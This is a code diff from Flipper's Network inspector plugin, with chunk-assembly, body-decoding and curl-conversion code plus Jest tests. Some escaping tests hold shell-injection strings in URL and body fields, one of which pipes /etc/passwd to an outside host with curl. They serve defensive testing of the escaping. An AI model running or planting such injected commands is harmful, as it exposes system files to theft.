value: T | null | undefined,
formatter: (value: T) => string,
): any {
return value
? {
columns: {
key: {
value: <WrappingText>{name}</WrappingText>,
},
value: {
value: <WrappingText>{formatter(value)}</WrappingText>,
},
},
copyText: () => `${name}: ${formatter(value)}`,
key: name,
}
: null;
}
render() {
const insights = this.props.insights;
const {buildRow, formatTime, formatSpeed, formatRetries} = this;
const rows = [
buildRow('Retries', insights.retries, formatRetries.bind(this)),
buildRow('DNS lookup time', insights.dnsLookupTime, formatTime),
buildRow('Connect time', insights.connectTime, formatTime),
buildRow('SSL handshake time', insights.sslHandshakeTime, formatTime),
buildRow('Pretransfer time', insights.preTransferTime, formatTime),
buildRow('Redirect time', insights.redirectsTime, formatTime),
buildRow('First byte wait time', insights.timeToFirstByte, formatTime),
buildRow('Data transfer time', insights.transferTime, formatTime),
buildRow('Post processing time', insights.postProcessingTime, formatTime),
buildRow('Bytes transfered', insights.bytesTransfered, formatBytes),
buildRow('Transfer speed', insights.transferSpeed, formatSpeed),
].filter((r) => r != null);
return rows.length > 0 ? (
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={rows}
autoHeight={true}
floating={false}
zebra={false}
/>
) : null;
}
}

View File

@@ -0,0 +1,175 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {combineBase64Chunks} from '../chunks';
import {TestUtils, createState} from 'flipper-plugin';
import * as NetworkPlugin from '../index';
import {assembleChunksIfResponseIsComplete} from '../chunks';
import path from 'path';
import {PartialResponses, Response} from '../types';
import {Base64} from 'js-base64';
import * as fs from 'fs';
import {promisify} from 'util';
const readFile = promisify(fs.readFile);
test('Test assembling base64 chunks', () => {
const message = 'wassup john?';
const chunks = message.match(/.{1,2}/g)?.map(btoa);
if (chunks === undefined) {
throw new Error('invalid chunks');
}
const output = combineBase64Chunks(chunks);
expect(Base64.decode(output)).toBe('wassup john?');
});
test('Reducer correctly adds initial chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
expect(instance.partialResponses.get()).toEqual({});
sendEvent('partialResponse', {
id: '1',
timestamp: 123,
status: 200,
data: 'hello',
reason: 'nothing',
headers: [],
isMock: false,
insights: null,
index: 0,
totalChunks: 2,
});
expect(instance.partialResponses.get()['1']).toMatchInlineSnapshot(`
Object {
"followupChunks": Object {},
"initialResponse": Object {
"data": "hello",
"headers": Array [],
"id": "1",
"index": 0,
"insights": null,
"isMock": false,
"reason": "nothing",
"status": 200,
"timestamp": 123,
"totalChunks": 2,
},
}
`);
});
test('Reducer correctly adds followup chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
expect(instance.partialResponses.get()).toEqual({});
sendEvent('partialResponse', {
id: '1',
totalChunks: 2,
index: 1,
data: 'hello',
});
expect(instance.partialResponses.get()['1']).toMatchInlineSnapshot(`
Object {
"followupChunks": Object {
"1": "hello",
},
}
`);
});
test('Reducer correctly combines initial response and followup chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
instance.partialResponses.set({
'1': {
followupChunks: {},
initialResponse: {
data: 'aGVs',
headers: [],
id: '1',
insights: null,
isMock: false,
reason: 'nothing',
status: 200,
timestamp: 123,
index: 0,
totalChunks: 2,
},
},
});
expect(instance.responses.get()).toEqual({});
sendEvent('partialResponse', {
id: '1',
totalChunks: 2,
index: 1,
data: 'bG8=',
});
expect(instance.partialResponses.get()).toEqual({});
expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
Object {
"data": "aGVsbG8=",
"headers": Array [],
"id": "1",
"index": 0,
"insights": null,
"isMock": false,
"reason": "nothing",
"status": 200,
"timestamp": 123,
"totalChunks": 2,
}
`);
});
async function readJsonFixture(filename: string) {
return JSON.parse(
await readFile(path.join(__dirname, 'fixtures', filename), 'utf-8'),
);
}
test('handle small binary payloads correctly', async () => {
const input = await readJsonFixture('partial_failing_example.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
// this used to throw
assembleChunksIfResponseIsComplete(partials, responses, 'test');
}).not.toThrow();
});
test('handle non binary payloads correcty', async () => {
const input = await readJsonFixture('partial_utf8_before.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
assembleChunksIfResponseIsComplete(partials, responses, 'test');
}).not.toThrow();
const expected = await readJsonFixture('partial_utf8_after.json');
expect(responses.get()['test']).toEqual(expected);
});
test('handle binary payloads correcty', async () => {
const input = await readJsonFixture('partial_binary_before.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
assembleChunksIfResponseIsComplete(partials, responses, 'test');
}).not.toThrow();
const expected = await readJsonFixture('partial_binary_after.json');
expect(responses.get()['test']).toEqual(expected);
});

View File

@@ -0,0 +1,101 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {readFile} from 'fs';
import path from 'path';
import {decodeBody} from '../utils';
import {Response} from '../types';
import {promisify} from 'util';
import {readFileSync} from 'fs';
async function createMockResponse(input: string): Promise<Response> {
const inputData = await promisify(readFile)(
path.join(__dirname, 'fixtures', input),
'ascii',
);
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
const testResponse: Response = {
id: '0',
timestamp: 0,
status: 200,
reason: 'dunno',
headers: gzip
? [
{
key: 'Content-Encoding',
value: 'gzip',
},
]
: [],
data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data,
isMock: false,
insights: undefined,
totalChunks: 1,
index: 0,
};
return testResponse;
}
describe('network data encoding', () => {
const donatingExpected = readFileSync(
path.join(__dirname, 'fixtures', 'donating.md'),
'utf-8',
).trim();
const tinyLogoExpected = readFileSync(
path.join(__dirname, 'fixtures', 'tiny_logo.png'),
);
const tinyLogoBase64Expected = readFileSync(
path.join(__dirname, 'fixtures', 'tiny_logo.base64.txt'),
'utf-8',
);
test('donating.md.utf8.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.ios.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
});
test('donating.md.utf8.gzip.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.gzip.ios.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
});
test('donating.md.utf8.android.txt', async () => {
const response = await createMockResponse('donating.md.utf8.android.txt');
expect(decodeBody(response).trim()).toEqual(donatingExpected);
});
test('donating.md.utf8.gzip.android.txt', async () => {
const response = await createMockResponse(
'donating.md.utf8.gzip.android.txt',
);
expect(decodeBody(response).trim()).toEqual(donatingExpected);
});
test('tiny_logo.android.txt', async () => {
const response = await createMockResponse('tiny_logo.android.txt');
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
});
test('tiny_logo.android.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.android.txt');
// this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
});
test('tiny_logo.ios.txt', async () => {
const response = await createMockResponse('tiny_logo.ios.txt');
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
});
test('tiny_logo.ios.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.ios.txt');
// this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
});
});

View File

@@ -0,0 +1,3 @@
# 捐赠
MobX 是使您的项目成功的关键吗? 使用[捐赠按钮](https://mobxjs.github.io/mobx/donate.html)分享胜利!如果你留下一个名字,它将被添加到赞助商列表。

View File

@@ -0,0 +1 @@
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9 v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5o dG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuii q+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=

View File

@@ -0,0 +1 @@
H4sIAAAAAAAAAyWNXQvBUByH7/cpVm642e59B/dKLiwywpSjXDKsY6gl8hrjQkNGSeYtH8b5n51d +QoWl7+n5+kX4GnXYGeT4yKKFOXp6ECeL6pa7qThLa/u1KbYAH3hT2ievL4NxvDzWPC+5Pat2L+l nZbXs+NBGaFiKSyKeUWqZEtCOoPksiRklB8Qk0ohgVKCjPK5EGCN3HasPgO8+TxqsFbpfEaepjsY E6dNnCpxtmB0Ye+fdcCuw1Fjqx293EE3AR/ZeQ76BgYa4CFbWu+qyn0Bz88iqcgAAAA=

View File

@@ -0,0 +1 @@
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5odG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuiiq+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=

View File

@@ -0,0 +1 @@
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5odG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuiiq+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

View File

@@ -0,0 +1,147 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {convertRequestToCurlCommand} from '../utils';
import {Request} from '../types';
test('convertRequestToCurlCommand: simple GET', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: null,
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
});
test('convertRequestToCurlCommand: simple POST', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=data&other=param'),
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST data', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=!!'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
);
});
test('convertRequestToCurlCommand: control characters', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
);
});

View File

@@ -0,0 +1,73 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import type {PartialResponses, Response} from './types';
import {Atom} from 'flipper-plugin';
import {Base64} from 'js-base64';
export function assembleChunksIfResponseIsComplete(
partialResponses: Atom<PartialResponses>,
responses: Atom<Record<string, Response>>,
responseId: string,
) {
const partialResponseEntry = partialResponses.get()[responseId];
const numChunks = partialResponseEntry.initialResponse?.totalChunks;
if (
!partialResponseEntry.initialResponse ||
!numChunks ||
Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
) {
// Partial response not yet complete, do nothing.
return;
}
// Partial response has all required chunks, convert it to a full Response.
const response: Response = partialResponseEntry.initialResponse;
const allChunks: string[] =
response.data != null
? [
response.data,
...Object.entries(partialResponseEntry.followupChunks)
// It's important to parseInt here or it sorts lexicographically
.sort((a, b) => parseInt(a[0], 10) - parseInt(b[0], 10))
.map(([_k, v]: [string, string]) => v),
]
: [];
const data = combineBase64Chunks(allChunks);
responses.update((draft) => {
draft[responseId] = {
...response,
// Currently data is always decoded at render time, so re-encode it to match the single response format.
data,
};
});
partialResponses.update((draft) => {
delete draft[responseId];
});
}
export function combineBase64Chunks(chunks: string[]): string {
const byteArray = chunks.map((b64Chunk) => {
return Base64.toUint8Array(b64Chunk);
});
const size = byteArray
.map((b) => b.byteLength)
.reduce((prev, curr) => prev + curr, 0);
const buffer = new Uint8Array(size);
let offset = 0;
for (let i = 0; i < byteArray.length; i++) {
buffer.set(byteArray[i], offset);
offset += byteArray[i].byteLength;
}
return Base64.fromUint8Array(buffer);
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,32 @@
{
"$schema": "https://fbflipper.com/schemas/plugin-package/v2.json",
"name": "flipper-plugin-network",
"id": "Network",
"flipperBundlerEntry": "index.tsx",
"main": "dist/bundle.js",
"title": "Network",
"description": "Use the Network inspector to inspect outgoing network traffic in your apps.",
"icon": "internet",
"version": "0.0.0",
"license": "MIT",
"keywords": [
"flipper-plugin"
],
"bugs": {
"email": "oncall+flipper@xmail.facebook.com",
"url": "https://fb.workplace.com/groups/flippersupport/"
},
"dependencies": {
"lodash": "^4.17.21",
"pako": "^2.0.3",
"xml-beautifier": "^0.4.0"
},
"peerDependencies": {
"flipper": "*",
"flipper-plugin": "*"
},
"devDependencies": {
"@types/pako": "^1.0.1",
"js-base64": "^3.6.0"
}
}

View File

@@ -0,0 +1,90 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
export type RequestId = string;
export type Request = {
id: RequestId;
timestamp: number;
method: string;
url: string;
headers: Array<Header>;
data: string | null | undefined;
};
export type Response = {
id: RequestId;
timestamp: number;
status: number;
reason: string;
headers: Array<Header>;
data: string | null | undefined;
isMock: boolean;
insights: Insights | null | undefined;
totalChunks?: number;
index?: number;
};
export type ResponseFollowupChunk = {
id: string;
totalChunks: number;
index: number;
data: string;
};
export type Header = {
key: string;
value: string;
};
export type RetryInsights = {
count: number;
limit: number;
timeSpent: number;
};
export type Insights = {
dnsLookupTime: number | null | undefined;
connectTime: number | null | undefined;
sslHandshakeTime: number | null | undefined;
preTransferTime: number | null | undefined;
redirectsTime: number | null | undefined;
timeToFirstByte: number | null | undefined;
transferTime: number | null | undefined;
postProcessingTime: number | null | undefined;
// Amount of transferred data can be different from total size of payload.
bytesTransfered: number | null | undefined;
transferSpeed: number | null | undefined;
retries: RetryInsights | null | undefined;
};
export type Route = {
requestUrl: string;
requestMethod: string;
responseData: string;
responseHeaders: {[id: string]: Header};
responseStatus: string;
enabled: boolean;
};
export type MockRoute = {
requestUrl: string;
method: string;
data: string;
headers: Header[];
status: string;
enabled: boolean;
};
export type PartialResponses = {
[id: string]: {
initialResponse?: Response;
followupChunks: {[id: number]: string};
};
};

View File

@@ -0,0 +1,103 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import pako from 'pako';
import {Request, Response, Header} from './types';
import {Base64} from 'js-base64';
export function getHeaderValue(headers: Array<Header>, key: string): string {
for (const header of headers) {
if (header.key.toLowerCase() === key.toLowerCase()) {
return header.value;
}
}
return '';
}
export function decodeBody(container: Request | Response): string {
if (!container.data) {
return '';
}
try {
const isGzip =
getHeaderValue(container.headers, 'Content-Encoding') === 'gzip';
if (isGzip) {
try {
const binStr = Base64.atob(container.data);
const dataArr = new Uint8Array(binStr.length);
for (let i = 0; i < binStr.length; i++) {
dataArr[i] = binStr.charCodeAt(i);
}
// The request is gzipped, so convert the base64 back to the raw bytes first,
// then inflate. pako will detect the BOM headers and return a proper utf-8 string right away
return pako.inflate(dataArr, {to: 'string'});
} catch (e) {
// on iOS, the stream send to flipper is already inflated, so the content-encoding will not
// match the actual data anymore, and we should skip inflating.
// In that case, we intentionally fall-through
if (!('' + e).includes('incorrect header check')) {
throw e;
}
}
}
// If this is not a gzipped request, assume we are interested in a proper utf-8 string.
// - If the raw binary data in is needed, in base64 form, use container.data directly
// - either directly use container.data (for example)
return Base64.decode(container.data);
} catch (e) {
console.warn(
`Flipper failed to decode request/response body (size: ${container.data.length}): ${e}`,
);
return '';
}
}
export function convertRequestToCurlCommand(request: Request): string {
let command: string = `curl -v -X ${request.method}`;
command += ` ${escapedString(request.url)}`;
// Add headers
request.headers.forEach((header: Header) => {
const headerStr = `${header.key}: ${header.value}`;
command += ` -H ${escapedString(headerStr)}`;
});
// Add body. TODO: we only want this for non-binary data! See D23403095
const body = decodeBody(request);
if (body) {
command += ` -d ${escapedString(body)}`;
}
return command;
}
function escapeCharacter(x: string) {
const code = x.charCodeAt(0);
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
}
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
// Escape util function, inspired by Google DevTools. Works only for POSIX
// based systems.
function escapedString(str: string) {
if (needsEscapingRegex.test(str) || str.includes("'")) {
return (
"$'" +
str
.replace(/\\/g, '\\\\')
.replace(/\'/g, "\\'")
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(needsEscapingRegex, escapeCharacter) +
"'"
);
}
// Simply use singly quoted string.
return "'" + str + "'";
}